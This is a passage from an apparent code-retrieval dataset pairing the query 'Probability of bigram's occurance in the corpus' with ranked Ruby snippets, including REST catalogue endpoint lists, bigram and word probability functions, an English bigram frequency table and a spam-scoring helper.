=> '/catalogues/vnfs',\n 'method' => 'PUT',\n 'purpose' => 'Update a stored VNF specified by vendor, name, version'\n },\n {\n 'uri' => '/catalogues/vnfs/{id}',\n 'method' => 'PUT',\n 'purpose' => 'Update a stored VNF by its uuid',\n 'special' => 'Use status=[inactive, active, delete] to update VNFD status'\n },\n {\n 'uri' => '/catalogues/vnfs',\n 'method' => 'DELETE',\n 'purpose' => 'Delete a specific VNF specified by vendor, name, version'\n },\n {\n 'uri' => '/catalogues/vnfs/{id}',\n 'method' => 'DELETE',\n 'purpose' => 'Delete a specific VNF by its uuid'\n },\n {\n 'uri' => '/catalogues/packages',\n 'method' => 'GET',\n 'purpose' => 'List all Packages or specific Package',\n 'special' => 'Use version=last to retrieve Packages last version'\n },\n {\n 'uri' => '/catalogues/packages/{id}',\n 'method' => 'GET',\n 'purpose' => 'List a specific Package by its uuid'\n },\n {\n 'uri' => '/catalogues/packages',\n 'method' => 'POST',\n 'purpose' => 'Store a new Package'\n },\n {\n 'uri' => '/catalogues/packages',\n 'method' => 'PUT',\n 'purpose' => 'Update a stored Package specified by vendor, name, version'\n },\n {\n 'uri' => '/catalogues/packages/{id}',\n 'method' => 'PUT',\n 'purpose' => 'Update a stored Package by its uuid',\n 'special' => 'Use status=[inactive, active, delete] to update PD status'\n },\n {\n 'uri' => '/catalogues/packages',\n 'method' => 'DELETE',\n 'purpose' => 'Delete a specific Package specified by vendor, name, version'\n },\n {\n 'uri' => '/catalogues/packages/{id}',\n 'method' => 'DELETE',\n 'purpose' => 'Delete a specific Package by its uuid'\n },\n {\n 'uri' => '/catalogues/son-packages',\n 'method' => 'GET',\n 'purpose' => 'List all son-packages or specific son-package'\n },\n {\n 'uri' => '/catalogues/son-packages',\n 'method' => 'POST',\n 'purpose' => 'Store a new son-package'\n },\n {\n 'uri' => '/catalogues/son-packages/{id}',\n 'method' => 'GET',\n 'purpose' => 'List a specific son-package by its uuid'\n },\n {\n 'uri' => '/catalogues/son-packages/{id}',\n 'method' => 'DELETE',\n 'purpose' => 'Remove a son-package'\n }\n ]\n end",
"title": ""
},
{
"docid": "37e183d58f5a82f9c309b7e1eb269c8e",
"score": "0.5306442",
"text": "def interfaces_list\n [\n {\n 'uri' => '/catalogues',\n 'method' => 'GET',\n 'purpose' => 'REST API Structure and Capability Discovery'\n },\n {\n 'uri' => '/catalogues/network-services',\n 'method' => 'GET',\n 'purpose' => 'List all NSs or specific NS',\n 'special' => 'Use version=last to retrieve NSs last version'\n },\n {\n 'uri' => '/catalogues/network-services/{id}',\n 'method' => 'GET',\n 'purpose' => 'List a specific NS by its uuid'\n },\n {\n 'uri' => '/catalogues/network-services',\n 'method' => 'POST',\n 'purpose' => 'Store a new NS'\n },\n {\n 'uri' => '/catalogues/network-services',\n 'method' => 'PUT',\n 'purpose' => 'Update a stored NS specified by vendor, name, version'\n },\n {\n 'uri' => '/catalogues/network-services/{id}',\n 'method' => 'PUT',\n 'purpose' => 'Update a stored NS by its uuid',\n 'special' => 'Use status=[inactive, active, delete] to update NSD status'\n },\n {\n 'uri' => '/catalogues/network-services',\n 'method' => 'DELETE',\n 'purpose' => 'Delete a specific NS specified by vendor, name, version'\n },\n {\n 'uri' => '/catalogues/network-services/{id}',\n 'method' => 'DELETE',\n 'purpose' => 'Delete a specific NS by its uuid'\n },\n {\n 'uri' => '/catalogues/vnfs',\n 'method' => 'GET',\n 'purpose' => 'List all VNFs or specific VNF',\n 'special' => 'Use version=last to retrieve VNFs last version'\n },\n {\n 'uri' => '/catalogues/vnfs/{id}',\n 'method' => 'GET',\n 'purpose' => 'List a specific VNF by its uuid'\n },\n {\n 'uri' => '/catalogues/vnfs',\n 'method' => 'POST',\n 'purpose' => 'Store a new VNF'\n },\n {\n 'uri' => '/catalogues/vnfs',\n 'method' => 'PUT',\n 'purpose' => 'Update a stored VNF specified by vendor, name, version'\n },\n {\n 'uri' => '/catalogues/vnfs/{id}',\n 'method' => 'PUT',\n 'purpose' => 'Update a stored VNF by its uuid',\n 'special' => 'Use status=[inactive, active, delete] to update VNFD status'\n },\n {\n 'uri' => '/catalogues/vnfs',\n 'method' => 'DELETE',\n 'purpose' => 'Delete a specific VNF specified by vendor, name, version'\n },\n {\n 'uri' => '/catalogues/vnfs/{id}',\n 'method' => 'DELETE',\n 'purpose' => 'Delete a specific VNF by its uuid'\n },\n {\n 'uri' => '/catalogues/packages',\n 'method' => 'GET',\n 'purpose' => 'List all Packages or specific Package',\n 'special' => 'Use version=last to retrieve Packages last version'\n },\n {\n 'uri' => '/catalogues/packages/{id}',\n 'method' => 'GET',\n 'purpose' => 'List a specific Package by its uuid'\n },\n {\n 'uri' => '/catalogues/packages',\n 'method' => 'POST',\n 'purpose' => 'Store a new Package'\n },\n {\n 'uri' => '/catalogues/packages',\n 'method' => 'PUT',\n 'purpose' => 'Update a stored Package specified by vendor, name, version'\n },\n {\n 'uri' => '/catalogues/packages/{id}',\n 'method' => 'PUT',\n 'purpose' => 'Update a stored Package by its uuid',\n 'special' => 'Use status=[inactive, active, delete] to update PD status'\n },\n {\n 'uri' => '/catalogues/packages',\n 'method' => 'DELETE',\n 'purpose' => 'Delete a specific Package specified by vendor, name, version'\n },\n {\n 'uri' => '/catalogues/packages/{id}',\n 'method' => 'DELETE',\n 'purpose' => 'Delete a specific Package by its uuid'\n },\n {\n 'uri' => '/catalogues/packages/{id}/status',\n 'method' => 'PUT',\n 'purpose' => 'Updates the status of a Package {\"status\": \"active\" / \"inactive\"} as valid json payloads'\n },\n {\n 'uri' => '/catalogues/son-packages',\n 'method' => 'GET',\n 'purpose' => 'List all son-packages or specific son-package'\n },\n {\n 'uri' => '/catalogues/son-packages',\n 'method' => 'POST',\n 'purpose' => 'Store a new son-package'\n },\n {\n 'uri' => '/catalogues/son-packages/{id}',\n 'method' => 'GET',\n 'purpose' => 'List a specific son-package by its uuid'\n },\n {\n 'uri' => '/catalogues/son-packages/{id}',\n 'method' => 'DELETE',\n 'purpose' => 'Remove a son-package'\n }\n ]\n end",
"title": ""
},
{
"docid": "d24fea6642c48c39a521734c74315950",
"score": "0.5306442",
"text": "def interfaces_list\n [\n {\n 'uri' => '/catalogues',\n 'method' => 'GET',\n 'purpose' => 'REST API Structure and Capability Discovery'\n },\n {\n 'uri' => '/catalogues/network-services',\n 'method' => 'GET',\n 'purpose' => 'List all NSs or specific NS',\n 'special' => 'Use version=last to retrieve NSs last version'\n },\n {\n 'uri' => '/catalogues/network-services/{id}',\n 'method' => 'GET',\n 'purpose' => 'List a specific NS by its uuid'\n },\n {\n 'uri' => '/catalogues/network-services',\n 'method' => 'POST',\n 'purpose' => 'Store a new NS'\n },\n {\n 'uri' => '/catalogues/network-services',\n 'method' => 'PUT',\n 'purpose' => 'Update a stored NS specified by vendor, name, version'\n },\n {\n 'uri' => '/catalogues/network-services/{id}',\n 'method' => 'PUT',\n 'purpose' => 'Update a stored NS by its uuid',\n 'special' => 'Use status=[inactive, active, delete] to update NSD status'\n },\n {\n 'uri' => '/catalogues/network-services',\n 'method' => 'DELETE',\n 'purpose' => 'Delete a specific NS specified by vendor, name, version'\n },\n {\n 'uri' => '/catalogues/network-services/{id}',\n 'method' => 'DELETE',\n 'purpose' => 'Delete a specific NS by its uuid'\n },\n {\n 'uri' => '/catalogues/vnfs',\n 'method' => 'GET',\n 'purpose' => 'List all VNFs or specific VNF',\n 'special' => 'Use version=last to retrieve VNFs last version'\n },\n {\n 'uri' => '/catalogues/vnfs/{id}',\n 'method' => 'GET',\n 'purpose' => 'List a specific VNF by its uuid'\n },\n {\n 'uri' => '/catalogues/vnfs',\n 'method' => 'POST',\n 'purpose' => 'Store a new VNF'\n },\n {\n 'uri' => '/catalogues/vnfs',\n 'method' => 'PUT',\n 'purpose' => 'Update a stored VNF specified by vendor, name, version'\n },\n {\n 'uri' => '/catalogues/vnfs/{id}',\n 'method' => 'PUT',\n 'purpose' => 'Update a stored VNF by its uuid',\n 'special' => 'Use status=[inactive, active, delete] to update VNFD status'\n },\n {\n 'uri' => '/catalogues/vnfs',\n 'method' => 'DELETE',\n 'purpose' => 'Delete a specific VNF specified by vendor, name, version'\n },\n {\n 'uri' => '/catalogues/vnfs/{id}',\n 'method' => 'DELETE',\n 'purpose' => 'Delete a specific VNF by its uuid'\n },\n {\n 'uri' => '/catalogues/packages',\n 'method' => 'GET',\n 'purpose' => 'List all Packages or specific Package',\n 'special' => 'Use version=last to retrieve Packages last version'\n },\n {\n 'uri' => '/catalogues/packages/{id}',\n 'method' => 'GET',\n 'purpose' => 'List a specific Package by its uuid'\n },\n {\n 'uri' => '/catalogues/packages',\n 'method' => 'POST',\n 'purpose' => 'Store a new Package'\n },\n {\n 'uri' => '/catalogues/packages',\n 'method' => 'PUT',\n 'purpose' => 'Update a stored Package specified by vendor, name, version'\n },\n {\n 'uri' => '/catalogues/packages/{id}',\n 'method' => 'PUT',\n 'purpose' => 'Update a stored Package by its uuid',\n 'special' => 'Use status=[inactive, active, delete] to update PD status'\n },\n {\n 'uri' => '/catalogues/packages',\n 'method' => 'DELETE',\n 'purpose' => 'Delete a specific Package specified by vendor, name, version'\n },\n {\n 'uri' => '/catalogues/packages/{id}',\n 'method' => 'DELETE',\n 'purpose' => 'Delete a specific Package by its uuid'\n },\n {\n 'uri' => '/catalogues/son-packages',\n 'method' => 'GET',\n 'purpose' => 'List all son-packages or specific son-package'\n },\n {\n 'uri' => '/catalogues/son-packages',\n 'method' => 'POST',\n 'purpose' => 'Store a new son-package'\n },\n {\n 'uri' => '/catalogues/son-packages/{id}',\n 'method' => 'GET',\n 'purpose' => 'List a specific son-package by its uuid'\n },\n {\n 'uri' => '/catalogues/son-packages/{id}',\n 'method' => 'DELETE',\n 'purpose' => 'Remove a son-package'\n }\n ]\n end",
"title": ""
}
] |
8fea7d27b23e0a67c941dac7259b9187 | Probability of bigram's occurance in the corpus. | [
{
"docid": "a1e11dd4aa7e7f86d1ec92c7046a6ff8",
"score": "0.6757227",
"text": "def file_probability(word1, word2=nil)\n bigram = (Bigram === word1 ? word1 : get(word1, word2))\n BigDecimal.new(bigram.files.size) / analysis.files.size\n end",
"title": ""
}
] | [
{
"docid": "c5f8e8db8052635bcb843ae98f94edcd",
"score": "0.7525785",
"text": "def probability(word1, word2=nil)\n bigram = (Bigram === word1 ? word1 : get(word1, word2))\n BigDecimal.new(bigram.count) / total #size\n end",
"title": ""
},
{
"docid": "996366a3df1456305ce699d46710bab8",
"score": "0.73970234",
"text": "def bigram_count()\n\t@corpus.each { |sentence_arr|\n\t prev_word = \"\"\n\t sentence_arr.each { |word|\n\t\tif(prev_word != \"\")\n\t\t @bifreq[prev_word + \" \" + word] += 1\n\t\telse\n\t\t @bifreq[\"PHI \"+word] += 1\n\t\tend \t \t\n\t\tprev_word = word\n\t }\n\t}\n end",
"title": ""
},
{
"docid": "965c8f9d2721d879881de45dabac4e0a",
"score": "0.70978487",
"text": "def probability_of(gram)\n @probabilities.fetch(gram,0.0)\n end",
"title": ""
},
{
"docid": "0b9461324de49a2b15ed73e4f16596ab",
"score": "0.6869366",
"text": "def text_probability(text)\n probability_of_ngrams(ngrams_from_text(text))\n end",
"title": ""
},
{
"docid": "27f2a11c9c7ef50c7f97168e0defec1f",
"score": "0.68479264",
"text": "def calculate_probability(word)\n ham_word_frequency = 2 * words_hash[[word,:good]]\n spam_word_frequency = words_hash[[word, :bad]]\n return if ham_word_frequency + spam_word_frequency < 5\n word_probability = min(1.0, spam_word_frequency.to_f / spam_count)\n total_probability = word_probability + min(1.0, ham_word_frequency.to_f / ham_count)\n max(0.1, min(0.99, word_probability/total_probability))\n end",
"title": ""
},
{
"docid": "18a29d362139ff3f0f6e9c30b70d9dd3",
"score": "0.68038917",
"text": "def probability(word)\n word = (Word === word ? word : get(word))\n BigDecimal.new(word.count) / total\n end",
"title": ""
},
{
"docid": "7743cae042331366c350eba0c8998848",
"score": "0.6729877",
"text": "def sentence_probability(sentence)\n probability_of_ngrams(ngrams_from_sentence(sentence))\n end",
"title": ""
},
{
"docid": "193407d0bce03f37e961aef74b89c253",
"score": "0.6543553",
"text": "def calculate_probabilities\n @words_hash.keys.each do |word, _|\n @probability_hash[word] = calculate_probability(word)\n end\n end",
"title": ""
},
{
"docid": "cd7bf3486ee2628ecdf7db19848f3847",
"score": "0.64418244",
"text": "def fragment_probability(fragment)\n probability_of_ngrams(ngrams_from_fragment(fragment))\n end",
"title": ""
},
{
"docid": "7eb4ed4f2844ee18d0299e1104b07e32",
"score": "0.6419717",
"text": "def spamicity(message)\n words = message.split(/\\W+/).map { |m| m.downcase}\n intersting_words_probability_list = intersting_words(words)\n intersting_words_product = intersting_words_probability_list.inject(:*)\n total_probability = intersting_words_product + intersting_words_probability_list.map { |x| 1 - x }.inject(:*)\n intersting_words_product / total_probability\n end",
"title": ""
},
{
"docid": "241a4dc5d0733cc18ba154bca59dac6c",
"score": "0.6325295",
"text": "def full_bigram_counts\n {\n'TH' => 116997844,\n'HE' => 100689263,\n'IN' => 87674002,\n'ER' => 77134382,\n'AN' => 69775179,\n'RE' => 60923600,\n'ES' => 57070453,\n'ON' => 56915252,\n'ST' => 54018399,\n'NT' => 50701084,\n'EN' => 48991276,\n'AT' => 48274564,\n'ED' => 46647960,\n'ND' => 46194306,\n'TO' => 46115188,\n'OR' => 45725191,\n'EA' => 43329810,\n'TI' => 42888666,\n'AR' => 42353262,\n'TE' => 42295813,\n'NG' => 38567365,\n'AL' => 38211584,\n'IT' => 37938534,\n'AS' => 37773878,\n'IS' => 37349981,\n'HA' => 35971841,\n'ET' => 32872552,\n'SE' => 31532272,\n'OU' => 31112284,\n'OF' => 30540904,\n'LE' => 30383262,\n'SA' => 30080131,\n'VE' => 29320973,\n'RO' => 29230770,\n'RA' => 28645577,\n'RI' => 27634643,\n'HI' => 27495342,\n'NE' => 27331675,\n'ME' => 27237733,\n'DE' => 27029835,\n'CO' => 26737101,\n'TA' => 26147593,\n'EC' => 25775798,\n'SI' => 25758841,\n'LL' => 24636875,\n'SO' => 23903631,\n'NA' => 23547524,\n'LI' => 23291169,\n'LA' => 23178317,\n'EL' => 23092248,\n'MA' => 21828378,\n'DI' => 21673998,\n'IC' => 21468412,\n'RT' => 21456059,\n'NS' => 21306421,\n'RS' => 21237259,\n'IO' => 21210160,\n'OM' => 21066156,\n'CH' => 20132750,\n'OT' => 20088048,\n'CA' => 19930754,\n'CE' => 19803619,\n'HO' => 19729026,\n'BE' => 19468489,\n'TT' => 19367472,\n'FO' => 18923772,\n'TS' => 18922522,\n'SS' => 18915696,\n'NO' => 18894111,\n'EE' => 18497942,\n'EM' => 18145294,\n'AC' => 17904683,\n'IL' => 17877600,\n'DA' => 17584055,\n'NI' => 17452104,\n'UR' => 17341717,\n'WA' => 16838794,\n'SH' => 16773127,\n'EI' => 16026915,\n'AM' => 15975981,\n'TR' => 15821226,\n'DT' => 15759673,\n'US' => 15699353,\n'LO' => 15596310,\n'PE' => 15573318,\n'UN' => 15237699,\n'NC' => 15214623,\n'WI' => 15213018,\n'UT' => 15137169,\n'AD' => 14877234,\n'EW' => 14776406,\n'OW' => 14610429,\n'GE' => 14425023,\n'EP' => 14024377,\n'AI' => 13974919,\n'LY' => 13742031,\n'OL' => 13726491,\n'FT' => 13696078,\n'OS' => 13596265,\n'EO' => 13524186,\n'EF' => 13252227,\n'PR' => 13191182,\n'WE' => 13185116,\n'DO' => 13120322,\n'MO' => 12950768,\n'ID' => 12896787,\n'IE' => 12505546,\n'MI' => 12168944,\n'PA' => 12068709,\n'FI' => 11993833,\n'PO' => 11917535,\n'CT' => 11888752,\n'WH' => 11852909,\n'IR' => 11681353,\n'AY' => 11523416,\n'GA' => 11239788,\n'SC' => 10800636,\n'KE' => 10650670,\n'EV' => 10574011,\n'SP' => 10570626,\n'IM' => 10544422,\n'OP' => 10459455,\n'DS' => 10429887,\n'LD' => 10245579,\n'UL' => 10173468,\n'OO' => 10168856,\n'SU' => 10031005,\n'IA' => 10002012,\n'GH' => 9880399,\n'PL' => 9812226,\n'EB' => 9738798,\n'IG' => 9530574,\n'VI' => 9380037,\n'IV' => 9129232,\n'WO' => 9106647,\n'YO' => 9088497,\n'RD' => 9025637,\n'TW' => 8910254,\n'BA' => 8867461,\n'AG' => 8809266,\n'RY' => 8788539,\n'AB' => 8775582,\n'LS' => 8675452,\n'SW' => 8673234,\n'AP' => 8553911,\n'FE' => 8529289,\n'TU' => 8477495,\n'CI' => 8446084,\n'FA' => 8357929,\n'HT' => 8351551,\n'FR' => 8339376,\n'AV' => 8288885,\n'EG' => 8286463,\n'GO' => 8188708,\n'BO' => 8172395,\n'BU' => 8113271,\n'TY' => 8008918,\n'MP' => 7835172,\n'OC' => 7646952,\n'OD' => 7610214,\n'EH' => 7559141,\n'YS' => 7539621,\n'EY' => 7528342,\n'RM' => 7377989,\n'OV' => 7350014,\n'GT' => 7347990,\n'YA' => 7239548,\n'CK' => 7205091,\n'GI' => 7103140,\n'RN' => 7064635,\n'GR' => 6989963,\n'RC' => 6974063,\n'BL' => 6941044,\n'LT' => 6817273,\n'YT' => 6714151,\n'OA' => 6554221,\n'YE' => 6499305,\n'OB' => 6212512,\n'DB' => 6106719,\n'FF' => 6085519,\n'SF' => 6073995,\n'RR' => 5896212,\n'DU' => 5861311,\n'KI' => 5814357,\n'UC' => 5742385,\n'IF' => 5740414,\n'AF' => 5702567,\n'DR' => 5701879,\n'CL' => 5683204,\n'EX' => 5649363,\n'SM' => 5580755,\n'PI' => 5559210,\n'SB' => 5553684,\n'CR' => 5514347,\n'TL' => 5403137,\n'OI' => 5336616,\n'RU' => 5330557,\n'UP' => 5306948,\n'BY' => 5232074,\n'TC' => 5196817,\n'NN' => 5180899,\n'AK' => 5137311,\n'SL' => 4965012,\n'NF' => 4950333,\n'UE' => 4927837,\n'DW' => 4906814,\n'AU' => 4884168,\n'PP' => 4873393,\n'UG' => 4832325,\n'RL' => 4803246,\n'RG' => 4645938,\n'BR' => 4621080,\n'CU' => 4604045,\n'UA' => 4589997,\n'DH' => 4585765,\n'RK' => 4491400,\n'YI' => 4461214,\n'LU' => 4402940,\n'UM' => 4389720,\n'BI' => 4356462,\n'NY' => 4343290,\n'NW' => 4215967,\n'QU' => 4169424,\n'OG' => 4163126,\n'SN' => 4157990,\n'MB' => 4121764,\n'VA' => 4111375,\n'DF' => 4033878,\n'DD' => 4001275,\n'MS' => 3922855,\n'GS' => 3920675,\n'AW' => 3918960,\n'NH' => 3915410,\n'PU' => 3858148,\n'HR' => 3843001,\n'SD' => 3842250,\n'TB' => 3815459,\n'PT' => 3812475,\n'NM' => 3796928,\n'DC' => 3782481,\n'GU' => 3768430,\n'TM' => 3759861,\n'MU' => 3755834,\n'NU' => 3732602,\n'MM' => 3730508,\n'NL' => 3692985,\n'EU' => 3674130,\n'WN' => 3649615,\n'NB' => 3602692,\n'RP' => 3588188,\n'DM' => 3544905,\n'SR' => 3513808,\n'UD' => 3499535,\n'UI' => 3481482,\n'RF' => 3436232,\n'OK' => 3397570,\n'YW' => 3379064,\n'TF' => 3368452,\n'IP' => 3348621,\n'RW' => 3348005,\n'RB' => 3346212,\n'OH' => 3254659,\n'KS' => 3227333,\n'DP' => 3145043,\n'FU' => 3138900,\n'YC' => 3128053,\n'TP' => 3070427,\n'MT' => 3055946,\n'DL' => 3050945,\n'NK' => 3043200,\n'CC' => 3026492,\n'UB' => 2990868,\n'RH' => 2968706,\n'NP' => 2968126,\n'JU' => 2924815,\n'FL' => 2890839,\n'DN' => 2840522,\n'KA' => 2833038,\n'PH' => 2825344,\n'HU' => 2771830,\n'JO' => 2721345,\n'LF' => 2702522,\n'YB' => 2696786,\n'RV' => 2692445,\n'OE' => 2616308,\n'IB' => 2598444,\n'IK' => 2585124,\n'YP' => 2581863,\n'GL' => 2576787,\n'LP' => 2543957,\n'YM' => 2516273,\n'LB' => 2463693,\n'HS' => 2462026,\n'DG' => 2442139,\n'GN' => 2426429,\n'EK' => 2411639,\n'NR' => 2393580,\n'PS' => 2377036,\n'TD' => 2346516,\n'LC' => 2328063,\n'SK' => 2321888,\n'YF' => 2305244,\n'YH' => 2291273,\n'VO' => 2253292,\n'AH' => 2225270,\n'DY' => 2218040,\n'LM' => 2216514,\n'SY' => 2214270,\n'NV' => 2194534,\n'YD' => 2122337,\n'FS' => 2047416,\n'SG' => 2043770,\n'YR' => 2021939,\n'YL' => 2013939,\n'WS' => 1988727,\n'MY' => 1949129,\n'OY' => 1932892,\n'KN' => 1903836,\n'IZ' => 1865802,\n'XP' => 1840696,\n'LW' => 1836811,\n'TN' => 1782119,\n'KO' => 1758001,\n'AA' => 1721143,\n'JA' => 1712763,\n'ZE' => 1709871,\n'FC' => 1570791,\n'GW' => 1567991,\n'TG' => 1530045,\n'XT' => 1509969,\n'FH' => 1507604,\n'LR' => 1505092,\n'JE' => 1487348,\n'YN' => 1485655,\n'GG' => 1468286,\n'GF' => 1465290,\n'EQ' => 1461436,\n'HY' => 1446451,\n'KT' => 1443985,\n'HC' => 1441057,\n'BS' => 1409672,\n'HW' => 1403223,\n'HN' => 1383958,\n'CS' => 1381608,\n'HM' => 1353001,\n'NJ' => 1342735,\n'HH' => 1329998,\n'WT' => 1301293,\n'GC' => 1299541,\n'LH' => 1274048,\n'EJ' => 1256993,\n'FM' => 1251312,\n'DV' => 1238565,\n'LV' => 1238287,\n'WR' => 1226755,\n'GP' => 1215204,\n'FP' => 1199845,\n'GB' => 1184377,\n'GM' => 1178511,\n'HL' => 1169468,\n'LK' => 1164186,\n'CY' => 1145316,\n'MC' => 1101727,\n'YG' => 1049082,\n'XI' => 1024736,\n'HB' => 1014004,\n'FW' => 1005903,\n'GY' => 979804,\n'HP' => 978649,\n'MW' => 937621,\n'PM' => 931225,\n'ZA' => 929119,\n'LG' => 926472,\n'IW' => 922059,\n'XA' => 904148,\n'FB' => 888155,\n'SV' => 882083,\n'GD' => 879792,\n'IX' => 879360,\n'AJ' => 870262,\n'KL' => 846309,\n'HF' => 834284,\n'HD' => 828755,\n'AE' => 815963,\n'SQ' => 800346,\n'DJ' => 799366,\n'FY' => 789961,\n'AZ' => 768359,\n'LN' => 752316,\n'AO' => 749566,\n'FD' => 748027,\n'KW' => 719633,\n'MF' => 715087,\n'MH' => 710864,\n'SJ' => 704442,\n'UF' => 701892,\n'TV' => 698150,\n'XC' => 697995,\n'YU' => 695512,\n'BB' => 689158,\n'WW' => 674610,\n'OJ' => 661082,\n'AX' => 660826,\n'MR' => 660619,\n'WL' => 657782,\n'XE' => 653947,\n'KH' => 650095,\n'OX' => 650078,\n'UO' => 649906,\n'ZI' => 644035,\n'FG' => 637758,\n'IH' => 610683,\n'TK' => 610333,\n'II' => 607124,\n'IU' => 576683,\n'TJ' => 559473,\n'MN' => 558397,\n'WY' => 553647,\n'KY' => 553296,\n'KF' => 537342,\n'FN' => 534362,\n'UY' => 531960,\n'PW' => 530411,\n'DK' => 525744,\n'RJ' => 518157,\n'UK' => 514873,\n'KR' => 507020,\n'KU' => 506618,\n'WM' => 505687,\n'KM' => 485617,\n'MD' => 481126,\n'ML' => 478528,\n'EZ' => 465466,\n'KB' => 457860,\n'WC' => 448394,\n'WD' => 432646,\n'HG' => 429607,\n'BT' => 428276,\n'ZO' => 424016,\n'KC' => 420017,\n'PF' => 418168,\n'YV' => 411487,\n'PC' => 400308,\n'PY' => 396147,\n'WB' => 394820,\n'YK' => 391953,\n'CP' => 382923,\n'YJ' => 378679,\n'KP' => 375653,\n'PB' => 369336,\n'CD' => 358435,\n'JI' => 357577,\n'UW' => 352732,\n'UH' => 339341,\n'WF' => 336213,\n'YY' => 332973,\n'WP' => 321746,\n'BC' => 320380,\n'AQ' => 315068,\n'CB' => 298053,\n'IQ' => 291635,\n'CM' => 285942,\n'MG' => 285133,\n'DQ' => 283314,\n'BJ' => 282608,\n'TZ' => 280007,\n'KD' => 277982,\n'PD' => 273162,\n'FJ' => 269865,\n'CF' => 267630,\n'NZ' => 266461,\n'CW' => 257253,\n'FV' => 244685,\n'VY' => 233082,\n'FK' => 228905,\n'OZ' => 228556,\n'ZZ' => 221275,\n'IJ' => 219128,\n'LJ' => 218362,\n'NQ' => 217422,\n'UV' => 212051,\n'XO' => 211173,\n'PG' => 211133,\n'HK' => 210385,\n'KG' => 209266,\n'VS' => 204093,\n'HV' => 197539,\n'BM' => 191807,\n'HJ' => 189906,\n'CN' => 188046,\n'GV' => 186777,\n'CG' => 181590,\n'WU' => 180884,\n'GJ' => 176947,\n'XH' => 166599,\n'GK' => 163830,\n'TQ' => 159111,\n'CQ' => 157546,\n'RQ' => 156933,\n'BH' => 154489,\n'XS' => 154347,\n'UZ' => 153736,\n'WK' => 148964,\n'XU' => 147533,\n'UX' => 144814,\n'BD' => 141752,\n'BW' => 140189,\n'WG' => 139890,\n'MV' => 136314,\n'MJ' => 134263,\n'PN' => 131645,\n'XM' => 127492,\n'OQ' => 122677,\n'BV' => 120081,\n'XW' => 119322,\n'KK' => 118811,\n'BP' => 115161,\n'ZU' => 113538,\n'RZ' => 113432,\n'XF' => 113031,\n'MK' => 111041,\n'ZH' => 107639,\n'BN' => 106125,\n'ZY' => 105871,\n'HQ' => 101241,\n'WJ' => 99435,\n'IY' => 98361,\n'DZ' => 98038,\n'VR' => 96416,\n'ZS' => 94993,\n'XY' => 94329,\n'CV' => 94224,\n'XB' => 94041,\n'XR' => 90046,\n'UJ' => 88168,\n'YQ' => 87953,\n'VD' => 85611,\n'PK' => 83017,\n'VU' => 82830,\n'JR' => 80471,\n'ZL' => 80039,\n'SZ' => 79840,\n'YZ' => 78281,\n'LQ' => 77148,\n'KJ' => 76816,\n'BF' => 75352,\n'NX' => 74844,\n'QA' => 73527,\n'QI' => 73387,\n'KV' => 73184,\n'ZW' => 68865,\n'WV' => 63930,\n'UU' => 63043,\n'VT' => 62912,\n'VP' => 62577,\n'XD' => 60101,\n'GQ' => 59750,\n'XL' => 59585,\n'VC' => 59024,\n'CZ' => 57914,\n'LZ' => 57314,\n'ZT' => 56955,\n'WZ' => 52836,\n'SX' => 50975,\n'ZB' => 50652,\n'VL' => 49032,\n'PV' => 48105,\n'FQ' => 47504,\n'PJ' => 47043,\n'ZM' => 46034,\n'VW' => 45608,\n'CJ' => 41526,\n'ZC' => 41037,\n'BG' => 40516,\n'JS' => 39326,\n'XG' => 39289,\n'RX' => 38654,\n'HZ' => 37066,\n'XX' => 35052,\n'VM' => 35024,\n'XN' => 34734,\n'QW' => 34669,\n'JP' => 34520,\n'VN' => 33082,\n'ZD' => 32906,\n'ZR' => 32685,\n'FZ' => 31186,\n'XV' => 31117,\n'ZP' => 30389,\n'VH' => 30203,\n'VB' => 29192,\n'ZF' => 28658,\n'GZ' => 28514,\n'TX' => 28156,\n'VF' => 28090,\n'DX' => 27413,\n'QB' => 27307,\n'BK' => 26993,\n'ZG' => 26369,\n'VG' => 25585,\n'JC' => 24770,\n'ZK' => 24262,\n'ZN' => 24241,\n'UQ' => 23386,\n'JM' => 22338,\n'VV' => 22329,\n'JD' => 21903,\n'MQ' => 21358,\n'JH' => 20960,\n'QS' => 20847,\n'JT' => 20408,\n'JB' => 19380,\n'FX' => 19313,\n'PQ' => 18607,\n'MZ' => 18271,\n'YX' => 16945,\n'QT' => 16914,\n'WQ' => 16245,\n'JJ' => 16085,\n'JW' => 16083,\n'LX' => 15467,\n'GX' => 14778,\n'JN' => 14452,\n'ZV' => 14339,\n'MX' => 14250,\n'JK' => 13967,\n'KQ' => 13905,\n'XK' => 13651,\n'JF' => 12640,\n'QM' => 12315,\n'QH' => 12273,\n'JL' => 12149,\n'JG' => 12023,\n'VK' => 11469,\n'VJ' => 11432,\n'KZ' => 11192,\n'QC' => 10667,\n'XJ' => 10629,\n'PZ' => 9697,\n'QL' => 9603,\n'QO' => 9394,\n'JV' => 8925,\n'QF' => 8778,\n'QD' => 8678,\n'BZ' => 8132,\n'HX' => 7526,\n'ZJ' => 7167,\n'PX' => 6814,\n'QP' => 6062,\n'QE' => 6020,\n'QR' => 5975,\n'ZQ' => 5773,\n'JY' => 5723,\n'BQ' => 5513,\n'XQ' => 5416,\n'CX' => 5300,\n'KX' => 5083,\n'WX' => 4678,\n'QY' => 4557,\n'QV' => 4212,\n'QN' => 3808,\n'VX' => 3192,\n'BX' => 3021,\n'JZ' => 2859,\n'VZ' => 2633,\n'QG' => 2567,\n'QQ' => 2499,\n'ZX' => 2463,\n'XZ' => 2082,\n'QK' => 2023,\n'VQ' => 1488,\n'QJ' => 1342,\n'QX' => 765,\n'JX' => 747,\n'JQ' => 722,\n'QZ' => 280\n}\n end",
"title": ""
},
{
"docid": "eeb0f4af0033c219cbd547b8b40ce1e4",
"score": "0.63038254",
"text": "def calc_probability(actual_word, translation_word)\n d = levenshtein_distance(actual_word, translation_word)\n\n min_leng= actual_word.size < translation_word.size ? actual_word.size : translation_word.size\n p = 1.0 - d * 1.0 / min_leng\n p < 0 ? 0.0 : p\n end",
"title": ""
},
{
"docid": "7cba6d44e6d5020ad07ae5cb5c31bdf0",
"score": "0.62904406",
